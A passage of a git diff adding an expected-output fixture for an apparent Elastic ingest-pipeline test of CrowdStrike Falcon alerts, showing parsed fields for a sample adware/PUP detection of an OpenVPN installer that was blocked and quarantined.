Machine"},"display_name":"TestTriggerInformational","email_sent":true,"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","global_prevalence":"common","grandparent_details":{"cmdline":"cmd crowdstrike_test_medium","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"2796","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17938741315","process_id":"17938741315","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:21Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","indicator_id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","ioc_context":[],"local_prevalence":"unique","local_process_id":"6028","logon_domain":"raquel-win10-3","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","name":"DemoInformationalPattern","objective":"Falcon Detection Method","parent_details":{"cmdline":"cmd crowdstrike_test_low","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"4840","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17940808135","process_id":"17940808135","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:32Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"parent_process_id":"17940808135","pattern_disposition":0,"pattern_disposition_description":"Detection, standard detection.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"containment_file_system":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"mfa_required":false,"operation_blocked":false,"policy_disabled":false,"prevention_provisioning_enabled":false,"process_blocked":false,"quarantine_file":false,"quarantine_machine":false,"registry_operation_blocked":false,"response_action_already_applied":false,"response_action_failed":false,"response_action_triggered":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":10307,"platform":"Windows","poly_id":"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==","priority_explanation":["[MOD] The severity of the detection: Informational"],"priority_value":10,"process_id":"17942810918","process_start_time":"1749205241","product":"epp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":10,"severity_name":"Informational","sha1":"0000000000000000000000000000000000000000","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","show_in_ui":true,"source_products":["Falcon Insight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Falcon Overwatch","tactic_id":"CSTA0006","technique":"Malicious Activity","technique_id":"CST0002","template_instance_id":"1339","timestamp":"2025-06-06T10:20:41.789Z","tree_id":"17181460644","tree_root":"17934037600","triggering_process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17942810918","type":"ldt","updated_timestamp":"2025-06-06T10:21:50.710758858Z","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json new file mode 100644 index 0000000000..911cd2426c --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json @@ -0,0 +1,2033 @@ +{ + "expected": [ + { + "@timestamp": "2023-11-03T18:00:22.328Z", + "crowdstrike": { + "alert": { + "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "alleged_filetype": "exe", + "cid": "92012896127c4a948236ba7601b886b0", + "cloud_indicator": false, + "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", + "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "confidence": 10, + "context_timestamp": "2023-11-03T18:00:31.000Z", + "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", + "crawl_edge_ids": { + "Sensor": [ + "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", + "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!", + "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", + "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", + "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N" + ] + }, + "crawl_vertex_ids": { + "Sensor": [ + "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", + "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" + ] + }, + "crawled_timestamp": "2023-11-03T19:00:23.985Z", + "created_timestamp": "2023-11-03T18:01:23.995Z", + "data_domains": [ + "Endpoint" + ], + "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "device": { + "agent_load_flags": 0, + "agent_local_time": "2023-10-12T03:45:57.753Z", + "agent_version": "7.04.17605.0", + "bios_manufacturer": "ABC", + "bios_version": "F8CN42WW(V2.05)", + "cid": "92012896127c4a948236ba7601b886b0", + "config_id_base": "65994763", + "config_id_build": "17605", + "config_id_platform": 3, + "external_ip": "81.2.69.142", + "first_seen": "2023-04-07T09:36:36.000Z", + "groups": [ + "18704e21288243b58e4c76266d38caaf" + ], + "hostinfo": { + "active_directory_dn_display": [ + "WinComputers", + "WinComputers\\ABC" + ], + "domain": "ABC.LOCAL" + }, + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "last_seen": "2023-11-03T17:51:42.000Z", + "local_ip": "81.2.69.142", + "mac_address": "AB-21-48-61-05-B2", + "machine_domain": "ABC.LOCAL", + "major_version": "10", + "minor_version": "0", + "modified_timestamp": "2023-11-03T17:53:43.000Z", + "os_version": "Windows11", + "ou": [ + "ABC", + "WinComputers" + ], + "platform_id": "0", + "platform_name": "Windows", + "product_type": "1", + "product_type_desc": "Workstation", + "site_name": "Default-First-Site-Name", + "status": "normal", + "system_manufacturer": "LENOVO", + "system_product_name": "20VE" + }, + "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "grandparent_details": { + "cmdline": "C:\\Windows\\system32\\userinit.exe", + "filename": "userinit.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", + "local_process_id": "4328", + "md5": "b07f77fd3f9828b2c9d61f8a36609741", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", + "process_id": "392734873135", + "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "timestamp": "2023-10-30T16:49:19.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "yuvraj.mahajan" + }, + "has_script_or_module_ioc": true, + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "ioc_context": [ + { + "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "ioc_source": "library_load", + "ioc_type": "hash_sha256", + "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "type": "module" + } + ], + "ioc_values": [ + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + ], + "is_synthetic_quarantine_disposition": true, + "local_process_id": "17076", + "logon_domain": "ABSYS", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "name": "PrewittPupAdwareSensorDetect-Lowest", + "objective": "FalconDetectionMethod", + "overwatch_note": "Activity Notice: OverWatch has observed XYZ", + "overwatch_note_timestamp": "2025-03-01T15:31:00.000Z", + "parent_details": { + "cmdline": "C:\\WINDOWS\\Explorer.EXE", + "filename": "explorer.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "local_process_id": "1040", + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "process_id": "392736520876", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "timestamp": "2023-11-03T18:00:32.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + }, + "parent_process_id": "392736520876", + "pattern_disposition": 2176, + "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", + "pattern_disposition_details": { + "blocking_unsupported_or_disabled": false, + "bootup_safeguard_enabled": false, + "critical_process_disabled": false, + "detect": false, + "fs_operation_blocked": false, + "handle_operation_downgraded": false, + "inddet_mask": false, + "indicator": false, + "kill_action_failed": false, + "kill_parent": false, + "kill_process": false, + "kill_subprocess": false, + "operation_blocked": false, + "policy_disabled": false, + "process_blocked": true, + "quarantine_file": true, + "quarantine_machine": false, + "registry_operation_blocked": false, + "rooting": false, + "sensor_only": false, + "suspend_parent": false, + "suspend_process": false + }, + "pattern_id": "5761", + "platform": "Windows", + "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", + "process_end_time": "2023-11-03T18:00:21.000Z", + "process_id": "399748687993", + "process_start_time": "2023-11-03T18:00:13.000Z", + "product": "epp", + "quarantined_files": [ + { + "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "state": "quarantined" + } + ], + "rule_group_id": "1b27b7f123c44e15a13fe7f44801d123", + "rule_group_name": "Windows Group", + "rule_instance_created_by": "myuser@mydomain.com", + "rule_instance_id": "123", + "rule_instance_name": "INSTANCE-1", + "rule_instance_version": "1", + "scenario": "NGAV", + "severity": 30, + "severity_name": "low", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "show_in_ui": true, + "source_products": [ + "FalconInsight" + ], + "source_vendors": [ + "CrowdStrike" + ], + "status": "new", + "tactic": "MachineLearning", + "tactic_id": "CSTA0004", + "technique": "Adware/PUP", + "technique_id": "CST0000", + "timestamp": "2023-11-03T18:00:22.328Z", + "tree_id": "1931778", + "tree_root": "38687993", + "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", + "type": "ldt", + "updated_timestamp": "2023-11-03T19:00:23.985Z", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + } + }, + "device": { + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "manufacturer": "LENOVO", + "model": { + "name": "20VE" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "process" + ], + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "kind": "alert", + "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\\\"__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"overwatch_note\":\"Activity Notice: OverWatch has observed XYZ\",\"overwatch_note_timestamp\":\"2025-03-01T15:31:00Z\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"rule_group_id\":\"1b27b7f123c44e15a13fe7f44801d123\",\"rule_group_name\":\"Windows Group\",\"rule_instance_created_by\":\"myuser@mydomain.com\",\"rule_instance_id\":\"123\",\"rule_instance_name\":\"INSTANCE-1\",\"rule_instance_version\":\"1\",\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}", + "severity": 21, + "type": [ + "start" + ] + }, + "file": { + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe" + }, + "host": { + "domain": "ABC.LOCAL", + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "ip": [ + "81.2.69.142" + ], + "mac": [ + "AB-21-48-61-05-B2" + ], + "os": { + "full": "Windows11", + "platform": "Windows", + "type": "windows" + } + }, + "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "process": { + "end": "2023-11-03T18:00:21.000Z", + "entity_id": "399748687993", + "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "hash": { + "md5": 